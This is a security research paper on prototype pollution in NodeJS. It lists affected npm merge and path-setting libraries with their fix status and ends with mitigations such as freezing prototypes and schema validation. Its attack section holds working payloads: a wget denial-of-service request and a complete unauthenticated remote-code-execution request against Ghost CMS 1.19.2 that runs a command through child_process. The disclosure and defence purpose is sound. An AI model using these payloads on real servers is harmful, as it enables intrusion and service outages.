Prototype pollution attack in NodeJS application

Author
Olivier Arteau

Table of content

Introduction

Prototype pollution is a term that was coined many years ago in the JavaScript community to designate libraries that added extension method to the prototype of base object like “Object”, “String” or “Function”. This was very rapidly considered a bad practice as it introduced unexpected behaviour in application. The last major library to use this type of mechanic was a library called “Prototype”[1]. While the library still exists, it’s for most part considered dead.

In this paper, we will analyze the problem of prototype pollution from a different angle. What if an attacker could pollute the prototype of base object with his own value ? What API would allow such pollution ? What can be done with it ?

[1] http://prototypejs.org/

Deep into JavaScript

For those that have never dived deep in the inner working of JavaScript, the rest of this paper may be hard to fully understand. So a brief presentation of how “prototype” work and a few other quirks of JavaScript are needed before starting.

What is an object ?

Let’s start with the simplest way to create an object.

```
var obj = {};
```

While we haven’t declared any property for that object, it’s not empty. In fact we can see that multiple property return something (ex.: obj.__proto__, obj.constructor, obj.toString, etc.). So where are those properties coming from ? To understand this part we need to look at how classes exists within the JavaScript language.

The concept of a class in JavaScript starts with a function. The function itself serves as the constructor of the class.

```
function MyClass() {

}

var inst = new MyClass();
```

Function available on all the instances of “MyClass” are declared on the prototype. What’s worth pointing out here is that during this declaration, the prototype is modified at runtime. This mean that by default, the program can at any point in time add, change or delete entry in the prototype of a class.

```
MyClass.prototype.myFunction = function () {
	return 42;
};

var inst = new MyClass();
var theAnswer = inst.myFunction();
```

If we come back to our first example of the empty object, we can say that the empty object we declared is in fact an object which has the constructor the function “Object” and the properties like “toString” are defined on the prototype of “Object”. The full list of values which come by default on object can be found in the MDN documentation[2].

[2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype

Property access

What’s good to note is that in JavaScript there is no distinction between a property and an instance function. An instance function is a property for which it’s type is a function. So instance function and other property are accessed in the exact same way. There are two notations to access property in JavaScript : the dot notation (ex.: obj.a) and the square bracket notation (ex.: obj[“a”]). The second one is mostly used when the index is dynamic.

```
var obj = { “a” : 1, “b” : function() { return 41; } };

var name1 = “a”;
obj.a // 1
obj[“a”] // 1
obj[name1] // 1

var name2 = “b”;
obj.b() // 41
obj.b // function.
obj[“b”] // function
obj[name2] // function
```

Magic property

There’s a good amount of property that exists by default on the Object prototype. We will explore two of them : “constructor” and “__proto__”.

“constructor” is a magic property that returns the function used to create the object. What’s good to note is that on every constructor there is the property “prototype” which points to the prototype of the class.

```
function MyClass() {

}

MyClass.prototype.myFunc = function () {
      return 7;
}

var inst = new MyClass();
inst.constructor //  returns the function MyClass
inst.constructor.prototype // returns the prototype of MyClass
inst.constructor.prototype.myFunc() // returns 7
```

“__proto__” is a magic property that returns the “prototype” of the class of the object. While this property is not standard in the JavaScript language it’s fully supported in the NodeJS environment. What’s good to note about this property is that it’s implemented as a getter/setter property which invokes getPrototypeOf/setPrototypeOf on read/write. So assigning a new value to the property “__proto__” doesn’t shadow the inherited value defined on the prototype. The only way to shadow it involves using “Object.defineProperty”.

```
function MyClass() {

}

MyClass.prototype.myFunc = function () {
      return 7;
}

var inst = new MyClass();
inst.__proto__ // returns the prototype of MyClass
inst.__proto__.myFunc() // returns 7

inst.__proto__ = { “a” : “123” }; // changing the prototype at runtime.
inst.hasOwnProperty(“__proto__”) // false. We haven’t redefined the
property. It’s still the original getter/setter magic property
```

Identifying vulnerable library

General concept

The general idea behind prototype pollution starts with the fact the attacker has control over at least the parameter “a” and “value” of any expression of the following form :

```
obj[a][b] = value
```

The attacker can set “a” to “__proto__” and the property with the name defined by “b” will be defined on all existing object (of the class of “obj”) of the application with the value “value”. The same thing can append with the following form when the attacker has at least control of “a”, “b” and “value”.

```
obj[a][b][c] = value
```

The attacker can set “a” to “constructor”, “b” to “prototype” and the property with the name defined by “c” will be defined on all existing object of the application with the value “value”. However since this requires more complex object assignment, the first form is easier to work with.

While, it’s pretty rare that you will stumble on code that looks textually like the example provided, some manipulation can provide the attacker with similar control. This will be explored in the next section.

Note : If the object that you are polluting is not an instance of “Object”, remember that you can always move up the prototype chain by accessing the “__proto__” attribute of the prototype (ex.: “inst.__proto__.__proto__” points to the prototype of “Object”).

Manipulation susceptible to prototype pollution

There are three types of API that were identified in this paper that can result in “prototype” pollution. While not all the implementation of those types of API available on NPM[3] are affected, at least one was identified.

- Object recursive merge
- Property definition by path
- Object clone

Object recursive merge

The logic of a vulnerable recursive merge function is at a high level something that looks like the following pseudo-code :

```
merge (target, source)
      foreach property of source
            if property exists and is an object on both the target and the source
                  merge(target[property], source[property])
            else
                   target[property] = source[property]
```

When the source object contains a property named “__proto__” defined with Object.defineProperty()[4], the condition that checks if “property exists and is an object on both the target and the source” will pass and the merge will recurse with the target being the prototype of “Object” and the source an “Object” defined by the attacker. Properties will then be copied on the prototype of “Object”.

Property definition by path

A few library offers API to define property value on an object based on a supplied path. This path is often defined with a dot notation. It’s for most part meant to simplified value assignation on complex object. The function affected generally had the following signature :

```
theFunction(object, path, value)
```

If the attacker can control the value of “path”, he can set this value to “__proto__.myValue”. “myValue” will then be assigned to the prototype of the class of the object.

[3] https://www.npmjs.com/
[4] The most common way this can happen is when user-input is parsed with “JSON.parse”.

Object clone

Prototype pollution can happen with API that clone object when the API implements the clone as recursive merge on an empty object. Do note that merge function must be affected by the issue.

```
function clone(obj) {
      return merge({}, obj);
}
```

Scanning for vulnerable API

Doing manual code reviews on all the NPM library is time consuming and static code analysis is very hard to use to identify such issue in libraries. However since vulnerable API will have an identifiable side-effect, a dynamic approach was used to identify a large amount of affected library. While this approach won't identify all the affected library, it was able to identify a large amount of library with very minimal coding and CPU time.

The approach can be defined at a high level with the following step :

1. Install the library to be tested with "npm"
2. In JavaScript
    a. "require" the library by its name
    b. Recursively list all the function available.
    c. For each identified function
        i. Call the function with a signature that would pollute the prototype of "object" if the implementation would be vulnerable.
        ii. Once the call is done, check if the side-effect occurred. If it did, we can mark the function as affected and clean the side-effect.

The code for this is provided in the GitHub repository along with the PDF on this paper.

Affected library

With the approach described above, I was able to identify a good amount of library which allowed prototype pollution when the attacker can control some of the input. In some cases it's due to an unintentional bug and in other it's by design. This list is not exhaustive, but covers the most common library used in NodeJS application.

Merge function

hoek

hoek.merge
hoek.applyToDefaults

Fixed in version 4.2.1
Fixed in version 5.0.3

lodash

lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith

Fixed in version 4.17.5

merge

merge.recursive

Not fixed. Package maintainer didn't respond to the disclosure.

defaults-deep

defaults-deep

Fixed in version 0.2.4

merge-objects

merge-objects

Not fixed. Package maintainer didn't respond to the disclosure.

assign-deep

assign-deep

Fixed in version 0.4.7

merge-deep

Merge-deep

Fixed in version 3.0.1

mixin-deep

mixin-deep

Fixed in version 1.3.1

deep-extend

deep-extend

Not fixed. Package maintainer didn’t respond to the disclosure.

merge-options

merge-options

Not fixed. Package maintainer didn’t respond to the disclosure.

deap

deap.extend
deap.merge
deap

Fixed in version 1.0.1

merge-recursive

merge-recursive.recursive

Not fixed. Package maintainer didn’t respond to the disclosure.

Clone

deap

deap.clone

Fixed in version 1.0.1

Property definition by path

Those functions are affected by design. Never let the path argument be user-input unless the user-input is whitelisted.

lodash

lodash.set
lodash.setWith

pathval

pathval.setPathValue
pathval

dot-prop

dot-prop.set
dot-prop

object-path

object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path

Attacking vulnerable implementation

One of the particularities of this attack is that generic exploit outside of denial-of-service attack depends on how the application works with its object. In order to mount more meaningful attack, we need to find interesting usage of objects in the code.

The theory

Denial-of-service

One of the interesting parts of the prototype of “Object” is that it holds generic functions that are implicitly called for various operations (ex.: toString and valueOf). When polluting the prototype it is possible to overwrite those function with either a “String” or an “Object”. This will break almost every application and make it unable to work properly.

Consider the following Express application. The vulnerable call in this case is located at the line 12. The call merges a value that comes from the body into an object. When running the exploit script, the “toString” and “valueOf” function get corrupted and every subsequent request will return a 500 error.

server.js

```
1. var _ = require('lodash');
2. var express = require('express');
3. var app = express();
4. var bodyParser = require('body-parser');
5.
6. app.use(bodyParser.json({ type: 'application/*+json' }))
7. app.get('/', function (req, res) {
8.        res.send("Use the POST method !");
9. });
10.
11. app.post('/', function (req, res) {
12.    _.merge({}, req.body);
13.    res.send(req.body);
14. });
15.
16. app.listen(3000, function () {
17.    console.log('Example app listening on port 3000!')
18. });
```

exploit.sh

```
wget --header="Content-Type: application/javascript+json"
--post-data='{"__proto__":{"toString":"123","valueOf":"It works !"}}' http://localhost:3000/ -O-
-q
```

For-loop pollution

One of the interesting aspects of “Prototype pollution” is that the added property are enumerable. This means that all “for(var key in obj) { ... }” loop will now loop an extra time with “key” being to the property name that we polluted “Object” with. So one of the approach to exploit this would be to look for loop that call dangerous API and pollute the prototype with values that would trigger those API with the value of our choice. Do note that the attacker doesn’t necessarily need to trigger the target loop himself. As long as the loop is eventually reached, the exploitation will be successful.

Suppose that we have the following code running on the server. When the payload gets send the next time the loop is executed the command of our choice will be executed.

code.js

```
var execSync = require('child_process').execSync;

function runJobs() {
	var commands = {
		"script-1" : "/bin/bash /opt/my-script-1.sh",
		"script-2" : "/bin/bash /opt/my-script-2.sh"
	};

	for (var scriptname in commands) {
		console.log("Executing " + scriptname);
		execSync(commands[scriptname]);
	}
}
```

payload.json

```
{“__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}}
```

Property injection

Another interesting aspects of “Prototype pollution” is that the attribute that we defined will now exist on objects that haven’t explicitly defined it. One of the places where this can be very interesting is for the HTTP headers. The NodeJS “http” module supports multiple header with the same name. The way this is parsed is that all headers with the same name are concatenated together and comma separated. So if we have polluted for example the key “cookie”, the value of “request.headers.cookie” will always start with the value that we have polluted with. This can allow a powerful variant of a session fixation attack where everyone querying the server will share the same session.

payload.json

```
{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}
```

The practice

Ghost CMS (Unauthenticated RCE)

Affected version

The vulnerability was found and confirmed in the version 1.19.2, but the version from 1.17.x to 1.19.x are also affected. The exploit was made for the version 1.19.2. Other versions may require slight adaptation to work properly. The first released version which fixed the issue is 1.20.0

Proof of concept

The full payload can be found in the “Final payload” section. To reproduce the exploit, you have to take the following step :

- Start your local ghost instance with “ghost start”. This should open the instance on port 2368.
- Copy the HTTP request payload found in the section “Final payload” in the repeater window of Burp (or the equivalent of Zap Proxy).
- Send the request.
- Visit http://127.0.0.1:2368/ with the browser of your choice. The “kcalc” command will be executed. If nothing is shown make sure the “kcalc” package is installed as it’s not a default package OR change the payload to launch another program of your choice.

Base request

The location of the bug can be found in this patch note. While the patch note is very vague about the issue at hand, it’s the fix that was made by Ghost CMS for this vulnerability.

https://github.com/TryGhost/Ghost/commit/dcb2aa9ad4680c4477d042a9e66f470d8bcbae0f

The base request that will be used for this exploit is the following. The property that will be copied on the prototype of Object will be in the “__proto__” object declaration.

```
PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Connection: close

{"passwordreset": [{
    "token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
    "email": "test1321321@test.com",
    "newPassword": "kdsflaksldk930209",
    "ne2Password": "kdsflaksldk930209",
    "__proto__": {

    }
}]}
```

Repairing the application

Injecting property on the prototype of Object messes up a lot the normal execution of the application. In the case of Ghost CMS, adding a single property makes all the endpoint crash or return an error page. So in order to mount a powerful exploit, we must first figure a way to “repair” the application.

The process of “repairing” the application can be seen at a high level as :

- Figuring out why the application crash with the property we have.
- Adding the correct property to fix the crash.
- Test the fix with the newly found property.
- Repeat until we can reach the point we want.

In order to fix the crash, there are a few strategies that can be used to figure out the right property to add.

Fixing undefined is not an object

The most common error you will run into is “Cannot read property 'XXXX' of undefined”. This occurs when the code attempts to read a property of the value “undefined”. When a property doesn’t exist in JavaScript, undefined is the placeholder value that it will return. So when the code executes something along the line of “obj.doesnotexist.doesnotexist” it will crash. One example where I needed to fix a missing property was in the following piece of code. Due to the corruption, when the execution reaches that point, the object “result” doesn’t have the expected properties. This triggers a crash at runtime.

```
// Call fetchData to get everything we need from the API
return fetchData(res.locals.channel).then(
  function handleResult(result) {
  // If page is greater than number of pages we [...]
  if (pageParam > result.meta.pagination.pages) {
      [...]
  }
```

To fix this, the following property was added to the payload.

```
"meta": { "pagination": { "pages": "100" } }
```

The expression “result.meta.pagination.pages” now correctly evaluate.

Fixing infinite recursion

One of the issues that arises when polluting the prototype of Object with object property is that all object that exists in the runtime now have an infinite depth. If, for example, we pollute the prototype of Object with the following value :

```
Object.prototype.foo = {};
```

Since the “foo” property we just added is also of type Object, it will inherit of the property foo. This makes the following code correct.

```
var a = {};
a.foo.foo.foo.foo.foo.foo.foo === a.foo
```

This, however, creates infinite recursion when there’s a piece of code that iterates recursively on object. To fix this issue we can define the value we pollute with in the following way.

```
Object.prototype.foo = { “foo” : “” }
a.foo.foo === “”
```

<u>Avoiding dead-end</u>

Sometimes crash will occur in places that are “dead-end” meaning that no property can be added to avoid the crash. When facing this type of situation the best approach to take is to look at all the conditions that were taken until the crash. The idea is to find a condition where property can be modified so that the dead-end path is no longer taken.

Injecting property to execute code

<u>Changing the rendered template</u>

One of the interesting points of the way Ghost CMS works is that the template to be rendered is lazy-loaded. Lazy-loading involves having a value being first undefined and then defining it when it's accessed and undefined. This means that if we pollute the property "_template", the rendered template will always be the one of our choice as the lazy-loading routine will believe it's already been loaded.

The handlebar templates of the Ghost CMS application are rather hard to use for property injection. However it was found that the package "express-hbs" ships with its test case. The template "emptyComment.hbs" was the easiest target to inject since it contains only a partial invocation.

Injected property

```
"_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
"
```

<u>Injecting code in the rendering engine</u>

The rendering engine used by Ghost CMS is handlebar. The way handlebar renders template involves roughly three stages : The text template -> Object representation of the template -> JavaScript code. The property that we inject are in the form of the object representation of the template. We will abuse the property "blockParams" that will be directly injected the final JavaScript code.

Injected property

```
"program": {
    "opcodes": [{
        "opcode": "pushLiteral",
        "args": ["1"]
    }, {
        "opcode": "appendEscaped",
        "args": ["1"]
    }],
    "children": [],
    "blockParams": "CODE GOES HERE"
}
```

Final payload

When we get everything together, we can get this final payload that will pop a “kcalc” every time the main page is loaded. One thing that’s good to mention is that since the execution of the JavaScript payload is in an eval-like context, the “require” function is not directly accessible. “require” can, however, be accessed through “global.process.mainModule.constructor._load”.

```
PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Connection: close

{
    "passwordreset": [{
        "token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
        "email": "test1321321@test.com",
        "newPassword": "kdsflaksldk930209",
        "ne2Password": "kdsflaksldk930209",
        "__proto__": {
            "_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
",
            "posts": {
                "type": "browse"
            },
            "resource": "constructor",
            "type": "constructor",
            "program": {
                "opcodes": [{
                    "opcode": "pushLiteral",
                    "args": ["1"]
                }, {
                    "opcode": "appendEscaped",
                    "args": ["1"]
                }],
                "children": [],
                "blockParams":
"global.process.mainModule.constructor._load('child_process').exec('kcalc'
,function(){})"
            },
            "children": [{
                "opcodes": ["123"],
                "children": [],
                "blockParams": 1
            }],
            "options": ";",
            "meta": {
                "pagination": {
                    "pages": "100"
                }
            }
        }
    }]
}
```

<u>Building a more stable exploit</u>

In this exploit since we are injecting JavaScript code, we can also make the application come back to its original state after the payload was executed by deleting all the property we have added to the prototype of Object. So we can replace the “blockParams” value with this.

```
global.process.mainModule.constructor._load('child_process').exec('kcalc',
function(){})+eval('for (var a in {}) { delete Object.prototype[a]; }')
```

This is a neat idea that I got from Ian Bouchard while discussing of this exploit with him.

Mitigation

Freezing the prototype

The ECMAScript standard version 5 introduced a very interesting set of functionality to the JavaScript language. It allowed the definition of non-enumerable property, getter, setter and a lot more. One of API introduced was “Object.freeze”. When that function is called on an object, any further modification on that object will silently fail. Since the prototype of “Object” is an object, it’s possible to freeze it. Doing so will mitigate almost all the exploitable case.

Do note that while, adding function to the prototype of the base object is a frown upon practice, it may still be used in your NodeJS application or its dependency. It’s highly recommend checking your NodeJS application and its dependency for such usage before going down this route. Since the behavior of frozen object is to silently fail on property assignation, it may introduce hard to identify bug.

mitigation.js

```
Object.freeze(Object.prototype);
Object.freeze(Object);
({}).__proto__.test = 123
({}).test // this will be undefined
```

Schema validation of JSON input

Multiple library on NPM (ex.: avj[5]) offer schema validation for JSON data. Schema validation ensure that the JSON data contains all the expected attributes with the appropriate type. When using this approach to mitigate “prototype pollution” attack, it’s important that unneeded attributes are rejected. In avj, this can be done by setting “additionalProperties” to “false” on the schema.

Using Map instead of Object

The Map[6] primitive was introduced in the EcmaScript 6 standard. It essentially works as a HashMap, but without all the security caveats that Object have. It’s now well supported in modern NodeJS environment and slowly coming to browser. When a key/value structure is needed, Map should be preferred to Object.

[5] https://epoberezkin.github.io/ajv/
[6] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map

Object.create(null)

It’s possible to create object in JavaScript that don’t have any prototype. It requires the usage of the “Object.create” function. Object created through this API won’t have the “__proto__” and “constructor” attributes. Creating object in this fashion can help mitigate prototype pollution attack.

1. var obj = Object.create(null);
2. obj.__proto__ // undefined
3. obj.constructor // undefined